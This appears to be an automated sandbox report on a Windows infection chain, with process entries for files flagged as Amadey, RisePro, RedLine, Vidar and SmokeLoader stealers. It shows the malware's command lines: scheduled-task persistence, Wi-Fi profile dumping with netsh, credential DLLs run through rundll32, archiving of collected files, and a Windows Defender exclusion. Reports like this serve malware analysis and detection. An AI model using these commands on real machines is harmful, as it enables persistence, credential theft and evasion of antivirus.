File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:51:57
Start date:	04/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 --field-trial-handle=2296,i,9301016893778941798,11505312185340456869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:52:00
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
Imagebase:	0x700000
File size:	1'793'040 bytes
MD5 hash:	8A19D654CB37E4E51BE045ACAF097E74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.1721215690.00000000011E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.1732128904.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:52:01
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe"
Imagebase:
File size:	1'793'040 bytes
MD5 hash:	8A19D654CB37E4E51BE045ACAF097E74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:52:09
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000019001\amert.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000019001\amert.exe"
Imagebase:	0x610000
File size:	1'885'696 bytes
MD5 hash:	E67C8B3E5EC9F64052FCD2F45341CFA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.1868102298.0000000000611000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1826787054.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:52:14
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe"
Imagebase:	0x7e0000
File size:	2'390'528 bytes
MD5 hash:	C1BF02296C415ABC8B1F0ED13088D96D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000009.00000002.3082656269.0000000007D70000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:52:14
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Imagebase:	0x930000
File size:	1'885'696 bytes
MD5 hash:	E67C8B3E5EC9F64052FCD2F45341CFA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.1894101326.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:52:17
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Imagebase:	0x930000
File size:	1'885'696 bytes
MD5 hash:	E67C8B3E5EC9F64052FCD2F45341CFA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.1904362561.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.1945079164.0000000000931000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:52:21
Start date:	04/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xb50000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:52:21
Start date:	04/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:52:21
Start date:	04/05/2024
Path:	C:\Users\user\1000021002\ac861238af.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000021002\ac861238af.exe"
Imagebase:	0x6a0000
File size:	1'166'336 bytes
MD5 hash:	34C3E84E001DB4CF23A94BE34D462F11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 35%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	05:52:21
Start date:	04/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xb50000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:52:21
Start date:	04/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:52:22
Start date:	04/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:52:22
Start date:	04/05/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Imagebase:	0x5a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	05:52:22
Start date:	04/05/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Imagebase:	0x7ff600a40000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	05:52:23
Start date:	04/05/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff6c8ed0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:52:23
Start date:	04/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:52:23
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe"
Imagebase:	0x940000
File size:	329'352 bytes
MD5 hash:	1C7D0F34BB1D85B5D2C01367CC8F62EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:52:23
Start date:	04/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:52:25
Start date:	04/05/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Imagebase:	0x5a0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	05:52:26
Start date:	04/05/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x700000
File size:	2'390'528 bytes
MD5 hash:	C1BF02296C415ABC8B1F0ED13088D96D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 53%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	05:52:26
Start date:	04/05/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x700000
File size:	2'390'528 bytes
MD5 hash:	C1BF02296C415ABC8B1F0ED13088D96D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	05:52:26
Start date:	04/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x480000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:52:26
Start date:	04/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:52:26
Start date:	04/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	05:52:26
Start date:	04/05/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 928
Imagebase:	0xa0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:52:29
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe"
Imagebase:	0xe50000
File size:	428'544 bytes
MD5 hash:	0099A99F5FFB3C3AE78AF0084136FAB3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000000.2011865777.0000000000E51000.00000020.00000001.01000000.00000015.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	05:52:29
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe"
Imagebase:	0x7e0000
File size:	2'390'528 bytes
MD5 hash:	C1BF02296C415ABC8B1F0ED13088D96D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000024.00000003.2839845792.0000000007CE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000024.00000003.2839809905.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000024.00000003.2840195887.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000024.00000003.2839878527.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	05:52:30
Start date:	04/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" /F
Imagebase:	0xb50000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:52:30
Start date:	04/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:52:33
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
Imagebase:	0xe50000
File size:	428'544 bytes
MD5 hash:	0099A99F5FFB3C3AE78AF0084136FAB3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000027.00000000.2050930258.0000000000E51000.00000020.00000001.01000000.00000015.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000027.00000002.2069776940.0000000000E51000.00000020.00000001.01000000.00000015.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:52:33
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000071001\jok.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000071001\jok.exe"
Imagebase:	0x7c0000
File size:	311'296 bytes
MD5 hash:	8510BCF5BC264C70180ABE78298E4D5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.2051081332.00000000007C2000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	05:52:33
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe"
Imagebase:	0x400000
File size:	473'601 bytes
MD5 hash:	85D23A7E1BF2207A3FA825136090E00D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	05:52:35
Start date:	04/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3696 --field-trial-handle=2296,i,9301016893778941798,11505312185340456869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:52:37
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe"
Imagebase:	0x930000
File size:	162'304 bytes
MD5 hash:	586F7FECACD49ADAB650FAE36E2DB994
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000002C.00000002.2151525456.0000000003CB5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000002C.00000002.2151525456.0000000003CB5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:52:38
Start date:	04/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:52:38
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Imagebase:	0x890000
File size:	2'390'528 bytes
MD5 hash:	C1BF02296C415ABC8B1F0ED13088D96D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	05:52:38
Start date:	04/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x8e0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000002F.00000002.2102303995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000002F.00000002.2102303995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:52:39
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe"
Imagebase:	0x400000
File size:	279'040 bytes
MD5 hash:	A9C28724B16C3BB3AF2FDB5AA9BE277C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000031.00000002.2229087093.0000000003661000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000031.00000002.2229087093.0000000003661000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000031.00000002.2228939653.00000000034F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000031.00000002.2228816968.0000000001B2B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:52:42
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe"
Imagebase:	0x1f3f4660000
File size:	399'464 bytes
MD5 hash:	18B50C6016CD5D7FF2F01B71A5E3373B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	05:52:43
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\u6po.0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\u6po.0.exe"
Imagebase:	0x400000
File size:	325'632 bytes
MD5 hash:	F2CE35E5AA2A7771759D7F424F2803AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000033.00000003.2152173443.0000000003680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000033.00000003.2152173443.0000000003680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	05:52:47
Start date:	04/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	05:52:47
Start date:	04/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	05:52:47
Start date:	04/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Imagebase:	0x910000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 05010B4F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1895338123.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5010000_amert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe492b1d21f3e29d67347740321dcc394221f498d2307a53f503dc78b40c7b9b
Instruction ID: a92a6b9f492ce002c250ac17af73eca9a3e2f423a243a4e1d7f19a5e732d6e03
Opcode Fuzzy Hash: fe492b1d21f3e29d67347740321dcc394221f498d2307a53f503dc78b40c7b9b
Instruction Fuzzy Hash: 93F074EB18C0117D7042D1863B68AFEA76EE1D7B343718827F842D0506A2890B9D2136

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: d361f35322.exePID: 5772, Parent PID: 6676COMMON

Execution Graph

Execution Coverage:	20.9%
Dynamic/Decrypted Code Coverage:	10.5%
Signature Coverage:	47%
Total number of Nodes:	2000
Total number of Limit Nodes:	109

Executed Functions

Function 00887D20 Relevance: 405.0, APIs: 2, Strings: 218, Instructions: 20001COMMON

Download Yara Rule

Strings

4oST, xrefs: 00891F69
4oST, xrefs: 0089E45B
4oST, xrefs: 0089D6CA
4oST, xrefs: 008978D2
